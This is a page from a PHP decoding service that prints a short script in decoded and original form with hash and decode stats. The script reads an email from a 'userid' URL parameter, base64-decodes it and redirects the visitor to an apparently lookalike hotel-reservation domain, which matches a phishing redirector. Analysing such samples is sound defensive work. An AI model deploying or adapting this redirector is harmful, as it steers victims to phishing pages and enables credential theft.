Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function isBase64($data) { if (base64_encode(base64_decode($data)) === $data)..

Decoded Output download

<?php 
function isBase64($data) 
{ 
    if (base64_encode(base64_decode($data)) === $data) { 
        return true; 
    } else { 
        return false; 
    } 
} 
 
function decode($email){ 
   
  if(isBase64($email)){ 
    $email = base64_decode($email,false); 
  } 
       
       header( "refresh:0;url=https://ace-hotel-saint-etienne-andrezieux-boutheon-reservation.ru/documentation/#".$email); 
 
} 
if(isset($_GET['userid']) && !empty($_GET['userid'])){ 
   $email = $_GET['userid']; 
   decode($email); 
} 
    
    
?>

Did this file decode correctly?

Original Code

<?php
function isBase64($data)
{
    if (base64_encode(base64_decode($data)) === $data) {
        return true;
    } else {
        return false;
    }
}

function decode($email){
  
  if(isBase64($email)){
    $email = base64_decode($email,false);
  }
      
       header( "refresh:0;url=https://ace-hotel-saint-etienne-andrezieux-boutheon-reservation.ru/documentation/#".$email);

}
if(isset($_GET['userid']) && !empty($_GET['userid'])){
   $email = $_GET['userid'];
   decode($email);
}
   
   
?>

Function Calls

None

Variables

None

Stats

MD5 91c987b101887a595e837296902c67f7
Eval Count 0
Decode Time 84 ms